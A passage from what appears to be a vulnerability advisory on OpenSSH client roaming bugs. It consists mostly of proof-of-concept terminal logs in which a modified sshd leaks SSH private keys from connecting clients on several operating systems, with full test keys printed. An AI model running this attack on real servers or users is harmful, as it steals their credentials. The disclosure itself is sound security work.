/tmp/roaming-97ed9f59/infoleak\nMIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr\nqlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T\nM3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0\n9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd\na3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD\nzzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+\neIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE\nw3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk\noayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc\nbvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C\nvcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW\nhZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW\nbc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd\nmuzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP\nwn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF\niKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw\nsj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: FreeBSD 9.2, 1024-bit DSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nFreeBSD 9.2-RELEASE (GENERIC) #0 r255898: Fri Sep 27 03:52:52 UTC 2013\n\n$ /usr/bin/ssh -V\nOpenSSH_6.2p2, OpenSSL 0.9.8y 5 Feb 2013\n\n$ cat ~/.ssh/id_dsa\n-----BEGIN DSA PRIVATE KEY-----\nMIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP\ngrGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe\n4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY\n8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw\noM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP\nIeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4\ncRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+\niUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To\nzEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh\nPHatTfiy5p82Q8+TD60=\n-----END DSA PRIVATE KEY-----\n\n# env ROAMING=\"client_out_buf_size:768\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-9448bb7f/infoleak\nMIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP\ngrGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe\n4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY\n8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw\noM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP\nIeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4\ncRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+\niUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To\n... \n\n# env ROAMING=\"client_out_buf_size:1024\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-279f5e2b/infoleak\n... \niUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To\nzEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh\nPHatTfiy5p82Q8+TD60=\n... \n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: OpenBSD 5.4, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nOpenBSD 5.4 (GENERIC) #37: Tue Jul 30 15:24:05 MDT 2013\n\n$ /usr/bin/ssh -V\nOpenSSH_6.3, OpenSSL 1.0.1c 10 May 2012\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc\nVEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL\n9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175\nynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn\nw8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU\nMANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh\noxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY\nmwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M\nk3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G\n+umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95\nn5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt\n8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw\nrsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5\ncMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb\n3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV\nWGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ\npCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM\nT32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY\nFTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws\nuvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn\nzIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF\nALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1\n/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk\nkRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS\nY1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=\n-----END RSA PRIVATE KEY-----\n\n# env ROAMING=\"client_out_buf_size:2048\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-35ee7ab0/infoleak\nMIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc\nVEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL\n9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175\nynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn\nw8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU\nMANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh\noxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY\nmwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M\nk3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G\n+umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95\nn5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt\n8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw\nrsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5\ncMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb\n3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV\nWGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ\npCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM\nT32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY\nFTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws\nuvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn\nzIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF\nALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1\n/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk\nkRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-6cb31d82/infoleak\n... \nuvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn\nzIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF\nALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1\n/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk\nkRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS\nY1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: OpenBSD 5.8, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nOpenBSD 5.8 (GENERIC) #1066: Sun Aug 16 02:33:00 MDT 2015\n\n$ /usr/bin/ssh -V\nOpenSSH_7.0, LibreSSL 2.2.2\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEAwe9ssfYbABhOGxnBDsPf5Hwypr3tVz4ZCK2Q9ZWWBYnk+KVL\nruLv7NWzeuKF7ls8z4SdpP/09QIIWQO5xWmQ7OM7ndfHWexFoyS/MijorHLvwG1s\n17KFF8aC5vcBTfVkWnFaERueyd+mxv+oIrskA3/DK7/Juojkq70aPAdafiWOuVT8\nL/2exFuzpSmwiXbPuiPgImO9O+9VQ4flZ4qlO18kZxXF948GisxxkceOYWTIX6uh\nxSs/NEGF/drmB4RTAL1ZivG+e4IMxs5naLz4u3Vb8WTDeS6D62WM1eq5JRdlZtGP\nvavL01Kv3sYFvoD0OPUU4BjU8bd4Qb30C3719wIDAQABAoIBAG4zFpipN/590SQl\nJka1luvGhyGoms0QRDliJxTlwzGygaGoi7D800jIxgv13BTtU0i4Grw/lXoDharP\nKyi6K9fv51hx3J2EXK2vm9Vs2YnkZcf6ZfbLQkWYT5nekacy4ati7cL65uffZm19\nqJTTsksqtkSN3ptYXlgYRGgH5av3vaTSTGStL8D0e9fcrjSdN0UntjBB7QGT8ZnY\ngQ1bsSlcPM/TB6JYmHWdpCAVeeCJdDhYoHKlwgQuTdpubdlM80f6qat7bsm95ZTK\nQolQFpmAXeU4Bs5kFlm0K0qYFkWNdI16ScOpK6AQZGUTcHICeRL3GEm6NC0HYBNt\ngKHPucECgYEA7ssL293PZR3W9abbivDxvtCjA+41L8Rl8k+J0Dj0QTQfeHxHD2eL\ncQO2lx4N3E9bJMUnnmjxIT84Dg7SqOWThh3Rof+c/vglyy5o/CzbScISQTvjKfuB\n+s5aNojIqkyKaesQyxmdacLxtBBppZvzCDTHBXvAe4t8Bus2DPBzbzsCgYEAz+jl\nhcsMQ1egiVVpxHdjtm3+D1lbgITk0hzIt9DYEIMBJ7y5Gp2mrcroJAzt7VA2s7Ri\nhBSGv1pjz4j82l00odjCyiUrwvE1Gs48rChzT1PcQvtPCCanDvxOHwpKlUTdUKZh\nvhxPK/DW3IgUL0MlaTOjncR1Zppz4xpF/cSlYHUCgYB0MhVZLXvHxlddPY5C86+O\nnFNWjEkRL040NIPo8G3adJSDumWRl18A5T+qFRPFik/depomuQXsmaibHpdfXCcG\n8eeaHpm0b+dkEPdBDkq+f1MGry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra\nuWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc\nprs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO\nZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V\n8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp\nppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz\nuiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==\n-----END RSA PRIVATE KEY-----\n\n# \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -o ProxyCommand=\"/usr/bin/nc -w 1 %h %p\" -p 222 127.0.0.1\n[connection suspended, press return to resume]Segmentation fault (core dumped)\n\n(this example requires a ProxyCommand because of the NULL-aitop bug\ndescribed in the Mitigating Factors of the Information Leak section, and\ncrashes because of the NULL-pointer dereference discussed in the\nMitigating Factors of the Buffer Overflow section)\n\n# cat /tmp/roaming-a5eca355/infoleak\nry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra\nuWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc\nprs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO\nZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V\n8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp\nppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz\nuiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: CentOS 7, 1024-bit DSA key\n------------------------------------------------------------------------\n\n$ grep PRETTY_NAME= /etc/os-release\nPRETTY_NAME=\"CentOS Linux 7 (Core)\"\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ cat ~/.ssh/id_dsa\n-----BEGIN DSA PRIVATE KEY-----\nMIIBvQIBAAKBgQDmjJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe\nkt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5n\nGLnZn1lmDldNaqhV0ECESXZVEpq/8TR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a\nNmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC\no7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsCioD2\nhUaU7sV6Nho9fJIclxuxZP8j+uzidQKKN/+CVbQougsLsBlstpuQ4Hr2DHmalL8X\niISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l\nB7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/\nQlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS\nF9AoVoZFKEGn4FEoYIqY3a4=\n-----END DSA PRIVATE KEY-----\n\n# env ROAMING=\"heap_massaging:linux\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n... \n\n# strings /tmp/roaming-b7b16dfc/infoleak\njJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe\nkt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5\n\n# strings /tmp/roaming-b324ce87/infoleak\nIuQL\nR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a\nNmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC\no7l7mJT+lI9v\n\n# strings /tmp/roaming-24011739/infoleak\nKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC\no7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsC\n\n# strings /tmp/roaming-37456846/infoleak\nLsBlstpuQ4Hr2DHmalL8X\niISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l\nB7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZNA\nyq4Kwj/\n\n# strings /tmp/roaming-988ff54c/infoleak\nGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l\nB7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/\n\n# strings /tmp/roaming-53887fa5/infoleak\n/4oatxFUV5V8aniqyq4Kwj/\nQlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS\nF9AoVoZFKEGn4FEoYIqY3a4\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: Fedora 20, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ grep PRETTY_NAME= /etc/os-release\nPRETTY_NAME=\"Fedora 20 (Heisenbug)\"\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEAmbj/XjOppLWSAhuLKiRoHsdp66LJdY2PvP0ht3GWDKKCk7Gz\nHLas5VjotS9rmupavGGDiicMHPClOttWAI9MRyvP77iZhSei/RzX1/UKk/broTDp\no9ljBnQTzRAyw8ke72Ih77SOGfOLBvYlx80ZmESLYYH95aAeuuDvb236JnsgRPDQ\n/B/gyRIhfqis70USi05/ZbnAenFn+v9zoSduDYMzSM8mFmh9f+9PVb9qMHdfNkIy\n2E78kt9BknU/bEcCWyL+IXNLV0rgRGAcE0ncKu13YvuH/7o4Q7bW2FYErT4P/FHK\ncRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt\nj737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o\n6GEmk/oB9w9gf1zGqWkTytMiqcawMW4LZAJlSI/rGWe7lYHuceZSSgzd5lF4VP06\nXz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV\nJQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+prtAxpPNfKElEV7ZPBrTRAuCUr\nHiy7yflZ3w0qHekNafX/tnWiU4zi/p6aD4rs10YaYSnSolsDs2k8wHbVP4VtLE8l\nPRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ\nrtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo\n/euhzdYixxIkfqyopnYFoER26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot\ngxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa\njwj3EZsXmtP+wd3fhge7pIHp5RiKfBn0JtSvXQQHO0k0eEcQ4aA/6yESI62wOuaY\nvJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y\n3fBC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF\nQ4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P\npdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU\ndz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4syLfm\nqK+cwb7uCSi5PfloRiLryPdvnobDGLfFGdOHaX7km+4u5+taYg2Er8IsAxtMNwM5\nr5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp\nP/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+\nZS16+aH97RKdJD/4qiskzzHvZs+wi4LKPHHHz7ETXr/m4CRfMIU=\n-----END RSA PRIVATE KEY-----\n\n# env ROAMING=\"heap_massaging:linux\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n... \n\n# strings /tmp/roaming-a2bbc5f6/infoleak\ncRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt\nj737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CG\n\n# strings /tmp/roaming-47b46456/infoleak\nRGAcE0nc\nGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt\nj737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o\n6GEmk/oB9\n\n# strings /tmp/roaming-7a6717ae/infoleak\ncawMW4LZ1\nXz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV\nJQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+p\n\n# strings /tmp/roaming-f3091f08/infoleak\nlZ3w0qHe\nnSolsDs2k8wHbVP4VtLE8l\nPRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ\n\n# strings /tmp/roaming-62a9e9a3/infoleak\nlZ3w0qHe\nr3TwTa0pPEk11\nLbcsTEJ\nrtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo\n/euhzdYixxIkfqyopnYFoER26u37/OHe37P\n\n# strings /tmp/roaming-8de31ed5/infoleak\n7qyvNznQ\n26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot\ngxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa\n\n# strings /tmp/roaming-f5e0fbcc/infoleak\nyESI62wOuaY\nvJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y\n3fBC3h9BN5banCw6VKfnvm8/q+bwSxS\n\n# strings /tmp/roaming-9be933df/infoleak\nQRtzK/GpRuMC1\nC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF\nQ4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmT\n\n# strings /tmp/roaming-ee4d1e6c/infoleak\nSG3aTqYp\ntEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P\npdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//s\n\n# strings /tmp/roaming-c2bfd69c/infoleak\nSG3aTqYp\n6JmTOun5zVV6A\nH6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU\ndz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4s\n\n# strings /tmp/roaming-2b3217a1/infoleak\nDGLfFGdO\nr5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp\nP/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCQ\n\n# strings /tmp/roaming-1e275747/infoleak\ng3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+\n\n\n========================================================================\nBuffer Overflow (CVE-2016-0778)\n========================================================================\n\n------------------------------------------------------------------------\nAnalysis\n------------------------------------------------------------------------\n\nSupport for roaming was elegantly added to the OpenSSH client: the calls\nto read() and write() that communicate with the SSH server were replaced\nby calls to roaming_read() and roaming_write(), two wrappers that depend\non wait_for_roaming_reconnect() to transparently reconnect to the server\nafter a disconnection. The wait_for_roaming_reconnect() routine is\nessentially a sequence of four subroutines:\n\n239 int\n240 wait_for_roaming_reconnect(void)\n241 {\n... \n250         